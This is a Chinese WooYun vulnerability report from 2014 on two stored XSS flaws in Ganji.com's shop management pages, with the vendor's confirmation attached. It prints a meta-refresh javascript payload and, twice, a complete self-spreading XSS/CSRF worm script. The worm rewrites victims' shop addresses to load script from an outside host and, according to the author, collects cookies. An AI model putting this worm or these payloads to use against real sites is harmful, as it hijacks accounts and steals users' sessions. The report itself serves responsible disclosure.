当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072627

漏洞标题:赶集网主站2个存储型XSS + 小蠕虫

相关厂商:赶集网

漏洞作者: 0x_Jin

提交时间:2014-08-16 13:50

修复时间:2014-09-30 13:52

公开时间:2014-09-30 13:52

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-16: 细节已通知厂商并且等待厂商处理中
2014-08-18: 厂商已经确认,细节仅向厂商公开
2014-08-28: 细节向核心白帽子及相关领域专家公开
2014-09-07: 细节向普通白帽子公开
2014-09-17: 细节向实习白帽子公开
2014-09-30: 细节向公众公开

简要描述:

58 百姓 这次就是赶集了~~~ 赶集网什么都有 果然 真有XSS!

详细说明:

漏洞存在于 店铺管理中心 > 服务店铺【长沙装修/装饰】房屋漏水专业维修 > 信息管理
在添加分店的地址那 未做任何过滤 可直接插入!
还有一处位于店铺描述做了过滤 但是不能跳出meta外
店铺描述的payload: 0,url=javascript:alert(/Jin/)" HTTP-EQUIV="refresh

QQ20140815-1.png


地址:http://cs.ganji.com/fuwu_dian/1121114795x/
得用safari 打开才能弹。。
继续说上面那个店铺分店地址的存储型XSS
那个xss可以任何浏览器都执行XSS,而赶集网本身未做cookie做httponly的保护 所以。。你懂的!
另外也构造了个小蠕虫 只要你有店铺就会修改掉你的店铺地址为 xss代码
地址为:http://www.ganji.com/fuwu_dian/1113454444x/
csrf代码贴上:
function Connection(url,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open("GET",url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send();
}
function GetPostId(){
Connection("http://www.ganji.com/service_store/manage/post_pub.php?action=edit",function(yuanma){
var idzhengze = /post_id: \d{6}/;
var postid = String(idzhengze.exec(yuanma)).split(" ")[1];
var cityzhengze = /city_code":\d{4}/;
var citycode=String(cityzhengze.exec(yuanma)).split(":")[1];
var datazhengze = /sub_contact_data:\{"\d{4}/;
var dataid = String(datazhengze.exec(yuanma)).split("\"")[1];
if(dataid!="undefined"){
editxss(dataid,citycode,postid);
}
else{
editxss("x0",citycode,postid);
}
})
}
GetPostId();
function editxss(dataid,cityid,postid){
var xsscode = "<script src=//qqq.si/wQ0Xtm></script>";
var address="http://www.ganji.com/service_store/ajax/index.php?vaction=sub_contact&data%5B"+dataid+"%5D%5Baddress%5D="+encodeURI(xsscode)+"&data%5B"+dataid+"%5D%5Bdistrict_id%5D=1&data%5B"+dataid+"%5D%5Bstreet_id%5D=0&data%5B"+dataid+"%5D%5Bphone%5D=400-1111111&data%5B"+dataid+"%5D%5Bflag%5D=u&city="+cityid+"&post_id="+postid+" ";
Connection(address,function(){alert('ok')});
}
这段代码是我X入到JS的 只要访问了带有我js代码的页面就也会修改自己页面的店铺地址为xss代码一直这样传下去 并获得cookie
另外做了个演示视频:
http://xss1.com/ganji-xss.mp4

漏洞证明:

漏洞存在于 店铺管理中心 > 服务店铺【长沙装修/装饰】房屋漏水专业维修 > 信息管理
在添加分店的地址那 未做任何过滤 可直接插入!
还有一处位于店铺描述做了过滤 但是不能跳出meta外
店铺描述的payload: 0,url=javascript:alert(/Jin/)" HTTP-EQUIV="refresh

QQ20140815-1.png


地址:http://cs.ganji.com/fuwu_dian/1121114795x/
得用safari 打开才能弹。。
继续说上面那个店铺分店地址的存储型XSS
那个xss可以任何浏览器都执行XSS,而赶集网本身未做cookie做httponly的保护 所以。。你懂的!
另外也构造了个小蠕虫 只要你有店铺就会修改掉你的店铺地址为 xss代码
地址为:http://www.ganji.com/fuwu_dian/1113454444x/
csrf代码贴上:
function Connection(url,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open("GET",url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send();
}
function GetPostId(){
Connection("http://www.ganji.com/service_store/manage/post_pub.php?action=edit",function(yuanma){
var idzhengze = /post_id: \d{6}/;
var postid = String(idzhengze.exec(yuanma)).split(" ")[1];
var cityzhengze = /city_code":\d{4}/;
var citycode=String(cityzhengze.exec(yuanma)).split(":")[1];
var datazhengze = /sub_contact_data:\{"\d{4}/;
var dataid = String(datazhengze.exec(yuanma)).split("\"")[1];
if(dataid!="undefined"){
editxss(dataid,citycode,postid);
}
else{
editxss("x0",citycode,postid);
}
})
}
GetPostId();
function editxss(dataid,cityid,postid){
var xsscode = "<script src=//qqq.si/wQ0Xtm></script>";
var address="http://www.ganji.com/service_store/ajax/index.php?vaction=sub_contact&data%5B"+dataid+"%5D%5Baddress%5D="+encodeURI(xsscode)+"&data%5B"+dataid+"%5D%5Bdistrict_id%5D=1&data%5B"+dataid+"%5D%5Bstreet_id%5D=0&data%5B"+dataid+"%5D%5Bphone%5D=400-1111111&data%5B"+dataid+"%5D%5Bflag%5D=u&city="+cityid+"&post_id="+postid+" ";
Connection(address,function(){alert('ok')});
}
这段代码是我X入到JS的 只要访问了带有我js代码的页面就也会修改自己页面的店铺地址为xss代码一直这样传下去 并获得cookie
另外做了个演示视频:
http://xss1.com/ganji-xss.mp4

修复方案:

万年不变的修复建议。。。。 其实我觉得更多的是 严谨。这次 58 百姓 赶集都出在不严谨这条路上!

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-08-18 09:37

厂商回复:

感谢白帽子。如果下次有乌云审核不通过的漏洞,欢迎直接提交给我们
'我爱乌云' == 'security at ganji. com'.replace('at','@').replace(/ /g,'')

最新状态:

暂无